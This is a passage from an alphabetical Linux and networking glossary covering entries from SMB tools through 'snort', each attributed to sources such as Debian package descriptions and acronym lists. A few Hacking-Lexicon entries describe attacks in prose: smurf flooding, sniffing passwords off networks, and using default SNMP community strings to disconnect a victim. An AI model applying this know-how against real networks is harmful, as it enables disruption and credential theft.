server to provide SMB/CIFS services to clients From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbfs

mount and umount commands for the smbfs (for kernels >= than 2.2.x) Smbfs is a filesystem which understands the SMB protocol. This is the protocol Windows for Workgroups, Windows NT or LAN Manager use to talk to each other. It was inspired by samba, the program by Andrew Tridgell that turns any unix site into a file server for DOS or Windows clients. If you want to use command−line utilities like smbclient, smbtar and/or smbspool just need to install the smbclient package. Starting with the Debian Samba packages version 2.2.0−1, the old smbfs utilities for 2.0.x have been removed. There are no wrapper scripts that call a specific smbmount/smbumount depending on the kernel version. If you are using a 2.0.x kernel please upgrade or use the latest Samba 2.0.7 Debian package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbmnt

helper utility for mounting SMB filesystems From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbmount

mount an smbfs filesystem From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMBP

Sever Message Block Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbpasswd

change a user's SMB password From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbpasswd

The Samba encrypted password file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbspool
send print file to an SMB printer From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbstatus
report on current Samba connections From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbtar
shell script for backing up SMB/CIFS shares directly to UNIX tape drives From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smbumount
smbfs umount for normal users From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMC
SCSI−3 Medium changer Commands (SAM, SCSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMC
Standard Microsystems Corporation (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMD
Storage Module Device From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMD
Surface Mounted Device From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMD
System Management Bus (Intel) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMDAC
Single MAC Dual Attached Concentrator (FDDI, DAC, MAC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMDI
Storage Module Disk Interconnect From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMDL
Standard Music Description Language (ISO, IEC, CD 10743) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMDR
Station Message Detail Recording From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMDR
Storage Management Data Requester (Novell, Netware, SMS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMDS
Switched Multimegabit Data Service (BELLCORE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMDS (Switched Multimegabit Data Service)
A standard for very high−speed data transfer. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMDSCNM
SMDS Customer Network Management (SMDS), "SMDS CNM" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SME

Society of Manufacturing Engineering (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SME

Storage Management Engine (Novell, Netware, SMS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SME Server

Once known as e−smith, this server and gateway distribution is now owned by Mitel Networks, and called SME Server. Mitel released version 5.5 of the SME Server on July 3, 2002. The SME Server version 5.6 developer release came out January 15, 2003. SME Server 6.0 Beta 2 developer release came out June 20, 2003. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMF

Service Management Function (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMF

Single Mode Fiberoptic cable (FDDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMF

Standard MIDI File (MIDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMFA

Special / System Management Functional Area (OSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMFF

Script Mathematical Formula Formatter From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMG

Special Mobile Group (GSM, org., mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMI

Structure and identification of Management Information (OSI, RFC 1155/1902) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMI

Sun Microsystems Inc. (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMI

System Management Interrupt (SMB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMI

System Monitoring Interface (Informix, DB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMIL

Synchronized Multimedia Integration Language (W3C, WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMIME

Secure/Multipurpose Internet Mail Extensions (MIME, MS, Lotus, Qualcomm, RSA, cryptography), "S/MIME" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMIS

Service−Marketing−InformationsSystem (MBAG) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMIT

System Management Interface Tool (IBM, AIX) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMK

Software Migration Kit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMK

Structured Meta−Knowledge From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SML

Service Management Layer (TMN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SML

Shared Memory Link (TCP/IP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SML

Siemens Modular Link From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SML

Standard Machine Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SML

Standard Meta Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sml−mode

A major Emacs mode for editing Standard ML. It provides syntax highlighting and automatic indentation and comes with sml−proc which allows interaction with an inferior SML interactive loop. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMLNJ

Standard Meta Language / New Jersey, "SML/NJ" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMM

System Management Mode (CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMM

System Manager's Manual (BSD, Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smokeping

A latency logging and graphing system. SmokePing is a latency logging and graphing system. It consists of a daemon process which organizes the latency measurements and a CGI which presents the graphs. With SmokePing you can measure latency and packet loss in your network. SmokePing uses RRDtool to maintain a longterm datastore and to draw pretty graphs giving up to the minute information on the state of each network connection. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SmoothWall

SmoothWall was first released to the world in July 2000 as a hardened internet firewall device. Products include Smoothwall Server and Smoothwall GPL. Smoothwall GPL 2.0 beta1 (metro) was released August 28, 2002. Smoothwall GPL 1.0 was released December 10, 2002. Smoothwall 2.0 beta 4 was released January 24, 2003. A 'secured' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMP

see symmetric multi−processing (SMP). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMP

Software Motion Picture (DEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMP

Symmetric MultiProcessor [system] (SMP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMP

Symmetrisches MultiProzessor [system] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMP

System Modification Program From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMP (Symmetric Multi−Processing)

From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMPC

Shared Memory Parallel Computer (HPC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smpeg−config

script to get information about the installed version of SMPEG From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smpeg−gtv

SMPEG GTK+ MPEG audio/video player SMPEG (SDL MPEG Player Library) is a free MPEG1 video player library with sound support. Video playback is based on the ubiquitous Berkeley MPEG player, mpeg_play v2.2. Audio is played through a slightly modified mpegsound library, part of splay v0.8.2. SMPEG supports MPEG audio (MP3), MPEG−1 video, and MPEG system streams. This package contains a GTK+ player called gtv. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smpeg−plaympeg

SMPEG command line MPEG audio/video player SMPEG (SDL MPEG Player Library) is a free MPEG1 video player library with sound support. Video playback is based on the ubiquitous Berkeley MPEG player, mpeg_play v2.2. Audio is played through a slightly modified mpegsound library, part of splay v0.8.2. SMPEG supports MPEG audio (MP3), MPEG−1 video, and MPEG system streams. This package contains a command line player called plaympeg. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smpeg−xmms

SDL MPEG Player Library − XMMS plugin SMPEG (SDL MPEG Player Library) is a free MPEG1 video player library with sound support. This package contains an XMMS plugin for playing MPEG movies. It supports hardware acceleration, seeking in movies, fullscreen mode, a resizeable window and VideoCD support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smproxy

Session Manager Proxy From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMPTE

Society of Motion Picture and Television Engineers (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMPU

Switch Module Processor Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMR

Source Maintainability and Reliability From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMR

Specialized Mobile Radio [systems] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smrsh

SendMail Restricted SHell: the shell that Sendmail uses to execute programs. smrsh puts restrictions on the programs that can be run to make it safer than using a regular shell such as the Bourne Shell. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMRT

Signal Message Rate Timing From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMS

Service Management System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMS

Short Message Service (GSM, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMS

Storage Management Services (Novell, Netware) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMS

System Management Server (MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMS

System−Managed Storage From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sms−pl

Send SMs via Polish GSM operators This program allows you to send SMs (Short Messages − incorrectly being called SMSes) to mobile phones operated by three Polish GSM operators: Era, Plus and Idea. It sends the messages via web−to−SMS gateways by spoofing a web browser. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMSAC

Society of Management Science and Applied Cybernetics (org., India) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMSC

Short Message Service Center (SMS, GSM, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMSCB

Short Message Service Cell Broadcast (SMS), "SMS CB" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMSCEMI

Short Message Service Center External Machine Interface [protocol] (SMS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smsclient

A program for sending short messages (SM / SMS) smsclient is a tool for sending short messages (SM − often false named SMS). SM can be sent to mobile phones. Additional some paging systems are supported by this tool. smsclient supports the common protocols UCP, TAP and some other. Out of the box there is preconfigured support for many local services, but smsclient can be easily extended to support other systems. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMSP

Storage Management Services Protocol (Novell, SMS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smssend

Utility to send SMS messages to GSM mobile phones smssend is a small command line utility to send SMS messages to GSM mobile phones via a web to SMS gateway. Web to SMS gateways are scriptable. this package includes scripts for many common sms web gateways. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smstools
: SMS Server Tools for GSM modems The SMS Server Tools make your server into a central SMS gateway. You can send and receive SM using a simple file−based interface. This Software was made for users who send less than 20 000 messages each month. There is an event−handler option that allows you to call your own programs or scripts after sent or received SM. The SMS Server Tools use one or more (max. 32) GSM modems to send and receive SM. You can equip some modems with Vodafone SIM cards and other with Telmi SIM cards (for example), to save money. All SM are sorted in queues by provider. If one modem fails it will be deactivated for one hour before the software retries. The other modems run without any restriction. You can log status information and alarms using the syslog daemon of your operating system. Upstream URL: http://www.isis.de/members/~s.frings/smstools/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMT
: Segment Table Map From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMT
: Shared Memory Transport (X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMT
: Station ManagemenT (FDDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMT
: Surface−Mount Technology From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMTA
: Subordinate Message Transfer Agent (MTA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smtm
: Show Me The Money is a configurable Perl/Tk stock ticker program smtm, which is a not overly clever acronym for Show Me The Money, is a simple stock ticker application. It creates and automatically updates a window with stock quotes from Yahoo! Finance. When called with one or several stock symbols, it displays these selected stocks, and also records the symbols for later use. When smtm is called without arguments, it reads the symbols tickers from a (default or specified) file. This file can be created explicitly by calling the Save option from the File menu, or implicitly whenever smtm is called with one or more symbols. smtm is fully configurable −− it can display the stock symbol and the full name of the company, the price change, the percentage change, the volume traded, the profit or loss, the value of the holding, the length of the holding period as well as annualised percentage returns. The display can be sort on almost any of the columns. Losers are flagged in red. smtm can be used for North American equities, as well as European and Australian/NZ ones. It should work for other markets supported by Yahoo! Finance. The quotes are delayed, typically 15 minutes for NASDAQ and 20 minutes otherwise, see Yahoo! Finance for details. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMTP
: An acronym for Simple Mail Transport Protocol, which defines the mechanism for exchanging mail across a network. This protocol is described in RFC number 821. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMTP

see simple mail transfer protocol (SMTP). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMTP
: Simple Mail Transfer Protocol (RFC 821, TCP/IP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMTP (Simple Mail Transfer Protocol)
: Key point: Virtually all e−mail exchanged on the Internet is through SMTP. Key point: The most common exploits for SMTP involve spammers trying to relay mail through high−speed mail servers. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMTP (Simple Mail Transfer Protocol)
: SMTP is the Internet standard for the transferring of electronic mail messages. An SMTP server acts as a central 'post office' for addressing mail to all users within wide area and local area networks. From Faculty−of−Education http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMTP (Simple Mail Transfer Protocol)
: The main protocol used to send electronic mail from server to server on the Internet. SMTP is defined in RFC 821 and modified by many later RFC's. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smtp−refuser
: Simple spam−block with refusal message Smtp−refuser can be configured to reject mail from specific hosts (or that satisfy other tcpd hosts.allow or similar rules), returning a meaningful message including the reason it was bounced and a local phone number. Because spam often has a bad envelope−from, (and because this is more efficient), we bounce it with an error message during the SMTP transaction, rather than send bounce mail later. This SMTP refuser is used along with "tcpd" or (another TCP security daemon) to bounce messages from the IP addresses of known spammers. The advantage of this over just blocking the connection is that the remote SMTP server will not retry, and a legitimate e−mail sender will get a polite message telling them why their mail was blocked and whom to call to get around the blocking. Mail that is not blocked by smtp−refuser is delivered to your standard mail transport agent. Other, more automated solutions such as RBL and ORBS (supported by most of the mail transfer agents), have become available since smtp−refuser was written, but this may still be of interest to you. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smtpd
: Mail proxy for firewalls with anti−spam and anti−relay features Smtpd uses two programs, smtpd which listens for incoming mail and places it in a private queue, and smtpfwdd, which invokes sendmail to deliver messages from the queue. The configuration file for smtpd has powerful features for controlling the acceptance of incoming mail. It is particularly useful for firewall sites, where the policy aspects of which mail should be accepted (in smtpd's configuration file) are clearly separated from the routing and other aspects of the mail configuration (which remain in the sendmail configuration file) It can be used with any mail−transport−agent which can be invoked as sendmail but is intended to integrate with the Debian sendmail package, which recognises when smtpd has been installed. If you are attempting to use it with an MTA other than sendmail then you will need to be prepared to modify the MTA configuration. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smtpfeed
: SMTP feed −− SMTP Fast Exploding External Deliver for Sendmail Smtpfeed is a SMTP delivery agent which is called by sendmail, and it improves required time to complete delivery of copies of a message to recipients of huge number. Note that smtpfeed still in ALPHA testing release. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMUG
: Seldom Met Users Group [book] (HP, HP 3000) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smurf

A SoundFont editor for Linux / *nix Smurf is a sound font editor. Sound font files are a collection of audio samples and other data that describe instruments for wavetable sound cards. Smurf currently supports the AWE 32/64 and has limited support for the GUS/SoftOSS driver which can use any OSS supported 16 bit sound card. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

smurf

An exploit that sends a ping to a broadcast address using a spoofed source address. Everyone on the target segment responds to the source address, thereby flooding it with traffic. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SMUX

SNMP MUltipleXing protocol (SNMP, MUX, RFC 1227) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SN

Sequence Number From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SN

Serial Number From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sn

Small NNTP server for leaf sites sn is a small news system for small sites serving perhaps a few dozen newsgroups, and with a slow connection to the internet. It is similar to leafnode (ftp.troll.no, by Arnt Gulbrandsen). The target user is a home or SOHO with a single modem connection to the Internet, maybe running IP masq or similar, and serving a few workstations. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SN

Subscriber Number (MS−ISDN, GSM, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNA

Systems Network Architecture (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snac

A relatively complete algebraic calculator for GNOME. SNAC is a calculator for X using the GNOME libraries. It provides a decent set of functions, similar to what you would find on a low−end scientific calculator. While not very complex it's quite useful and is the best simple calculator I've found for X using the GNOME libraries. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNAC

SNA Network Access Controller (SNA, SDLC, IDS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNAC

SubNetwork ACcess [functions] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snacc

ASN.1 to C or C++ or IDL compiler Snacc is short for "Sample Neufeld ASN.1 to C Compiler" and ASN.1 stands for Abstract Syntax Notation One (ITU−T X.208/ISO 8824). Snacc supports a subset of ASN.1 1988. If you need features of ASN.1 1992 or later, snacc is not for you. Given an ASN.1 source file(s) snacc can produce: 1. C routines for BER encoding, decoding, printing and freeing. 2. C++ routines for BER encoding, decoding, and printing. 3. A type table that can be used with C driver routines for BER encoding, decoding, printing and freeing. If you want to build snacc based applications, you want to install the libsnacc−dev package, too. Your application will then depend on the snacc libraries, you find in the libsnacc0 package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNACP
: SubNetwork ACcess Procedure (ISO, IS 8648, SNAC), "SNAcP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNACP
: [PPP] Systems Network Architecture Control Protocol (PPP, SNA, RFC 2043) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNADS
: Systems Network Architecture Distribution Service (IBM, CCS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNAFU
: Situation Normal All Fouled Up (slang) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNAIP
: [advanced] Systems Network Architecture/Internet Protocol (SNA, IP, RFC 1538), "SNA/IP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snake4
: Snake game This is a basic but nice implementation of the snake game. The objective is to "snake around" and eat fruit, while avoiding the evil headbanger and not crashing into your tail. Features five levels of difficulty and a site−wide high score list. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snap
: A Perl−based console Napster client Snap is a small, Perl−based, command−line Napster client written with the Perl Curses bindings. It is designed to be small yet fully functional, while providing a powerful scripting environment through the use of Perl. Snap supports full song searching/browsing with regular expression filtering, multiple simultaneous uploads and downloads with upload speed throttling, resume support, chatting, hotlists, all Napster admin commands including Opennap extensions, alternate server and metaserver support, and much more. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNAP
: SubNetwork Access Protocol (LAN, ethernet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNAP
: SubNetwork Attachment Point (IEEE 802.1a) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNAP
: System and Network Administration Program From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SnapGear Embedded Linux
: SnapGear Embedded Linux is a 100% free distribution supporting several processors (with an emphasis, perhaps, on MMU−less processors − the principal developers of uClinux are at SnapGear). SnapGear adds development expertise, toolchain, library and multi−architecture support to create a complete embedded development environment. The initial release is dated April 16, 2003. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snappea
: A program for creating and studying hyperbolic 3−manifolds. SnapPea is Jeff Weeks' computational tool for mathematicians working in low−dimensional topology. It is used for creating and studying hyperbolic 3−manifolds, and is accessible via Python scripts as well as through a traditional graphical user interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snarf
: A command−line URL grabber Snarf is a utility retrieve files via the http and ftp protocols. It supports http redirect, http and ftp resume, http and ftp authentication, and other neat things. Its

functionality is similar to that of wget, but with a much smaller binary. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNCP

Single Node Control Point (IBM, SNA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snd

Sound file editor Snd is a powerful sound file editor that can be customized and extended using the Scheme programming language. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNDC

SubNetwork Dependent Convergence [functions] (OSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sndconfig

Easy soundcard configuration Sndconfig is a utility that lets you configure your soundcard easily. It was written originally for RedHat Linux, but now it is available for Debian GNU/Linux, too. Sndconfig uses isapnp to detect common soundcards and writes a isapnp configuration to and module control lines for use with your sound card. It requires a kernel with OSS sound modules to be present. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNDCP

SubNetwork Dependent Convergence Procedure (ISO, IS 8648, OSI, SNDC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNEPS

Semantic NEtwork Processing System (GNU, LISP), "SNePS" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNF

Server Natural Format (Fonts, X) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNF

Shared Network Facilities From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNG

Satellite News Gathering From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNI

Siemens Nixdorf Informationssysteme [AG] (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNI

SNA Network Interconnection (IBM, VTAM, SNA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNI

Subscriber Network Interface (SMDS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNIA

Storage Networking Industry Association (org., NAS, SAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNIC

SubNetwork Independent Convergence [functions] (OSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snice

report process status From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNICP

SubNetwork Independent Convergence Procedure (ISO, IS 8648, OSI, SNIC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sniff

v.,n. 1. To watch IP packets traversing a local network. Most often in the phrase `packet sniffer', a program for doing same. 2.Synonym for poll. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sniffer (sniffing, packet sniffer)

A wiretap that eavesdrops on computer networks. Key point: You have be between the sender and the receiver in order to sniff traffic. This is easy in corporations using shared media, but practically impossible with an ISP unless you break into their building or be an employee. Key point: Sniffers are frequently used as part of automated programs to sift information off the wire, such as clear−text passwords, and sometimes password hashes (to be crack). Further reading: http://www.robertgraham.com/pubs/sniffing−faq.html. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sniffit

packet sniffer and monitoring tool sniffit is a packet sniffer for TCP/UDP/ICMP packets. sniffit is able to give you very detailed technical info on these packets (SEC, ACK, TTL, Window, ...) but also packet contents in different formats (hex or plain text, etc.). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNL

Sandia National Laboratories (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snmp

NET SNMP (Simple Network Management Protocol) Apps. The NET SNMP applications allow querying the NET and other SNMP agents. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNMP

Simple Network Management Protocol (RFC 1157/1902, TCP/IP, IETF) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNMP

Simple Network Management Protocol. An Internet protocol. Allows nodes to determine which services another nodes offer. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNMP (Simple Network Management Protocol)

A method for keeping track of various hardware devices, such as printers, connected to a network. SNMP can tell network administrators when printers are low on paper or toner, or when a paper jam has occurred. SNMP seems destined to be replaced by die Microsoft at Work standard or the Desktop Management Interface (DMI) standard. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNMP (Simple Network Management Protocol)

A set of standards for communication with devices connected to a TCP/IP network. Examples of these devices include routers, hubs, and switches. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNMP (Simple Network Management Protocol)

The Internet infrastructure is composed of lots of hardware scattered around the place. SNMP is the method that allows someone to "manage" all that equipment. By the word "manage" I mean do things like monitor the amount of traffic flowing through the equipment, trigger when faults occur, change the configuration of equipment remotely, and so forth. Key point: Most equipment comes with default passwords (aka. community strings) of public and private. These allow you to read information from the device (traffic, temperature, voltage, etc.) and re−configure it. Key point: A common technique is to traceroute to a victim's dial−up machine thereby discovering the IP address of the hardware they've dialed into. Then, you can send SNMP commands with the "private" community strings telling the hardware to hang−up on the victim. Also, spammers have used this technique to find the true login

name of the user. From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNMP is defined in RFC 1089. From Matisse
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snmpd
NET SNMP (Simple Network Management Protocol) Agents. The NET SNMP agent allows remote monitoring of various network and system information. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snmptrapfmt
A configurable snmp trap handler daemon for snmpd. This package contains a configurable snmp trap handler daemon for snmpd. The output of this trap handler daemon may be specified via a configuration file and written to a logfile or to the syslog daemon. During installation of this package, the configuration file for the snmptrapd daemon is changed (old version is saved) to activate the trap handler. The snmpd and snmptrapd daemons are restarted. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNNS
Stuttgart Neural Network Simulator (IPVR, NN) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNOBOL
StriNg Orientated symBOlic Language From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snooper
Captures communication between two external serial devices Snooper passes data transparently between two serial (RS232C) devices, capturing and logging the data and occasional comments you want to insert into the logs. It is useful for debugging or analyzing the communications protocol between two devices that would normally be connected directly to each other, e.g. a digital camera and a personal computer. By sitting "in the middle" (after you connect the two devices to serial ports on your Linux machine) snooper is able to capture data traveling in either direction while also passing it unmodified to the other device. It is also possible to operate with a single serial device, using your console and keyboard as the second device. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snoopy
An execve() wrapper and logger snoopy is merely a shared library that is used as a wrapper to the execve() function provided by libc as to log every call to syslog (authpriv). system administrators may find snoopy useful in tasks such as light/heavy system monitoring, tracking other administrator's actions as well as getting a good 'feel' of what's going on in the system (for example apache running cgi scripts). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snort
Flexible NIDS (Network Intrusion Detection System) Snort is a libpcap−based packet sniffer/logger which can be used as a lightweight network intrusion detection system. It features rules based logging and can perform content searching/matching in addition to being used to detect a variety of other attacks and probes, such as buffer overflows, stealth port scans, CGI attacks, SMB probes, and much more. Snort has a real−time alerting capability, with alerts being sent to syslog, a separate "alert" file, or even to a Windows computer via Samba. From Debian 3.0r0 APT
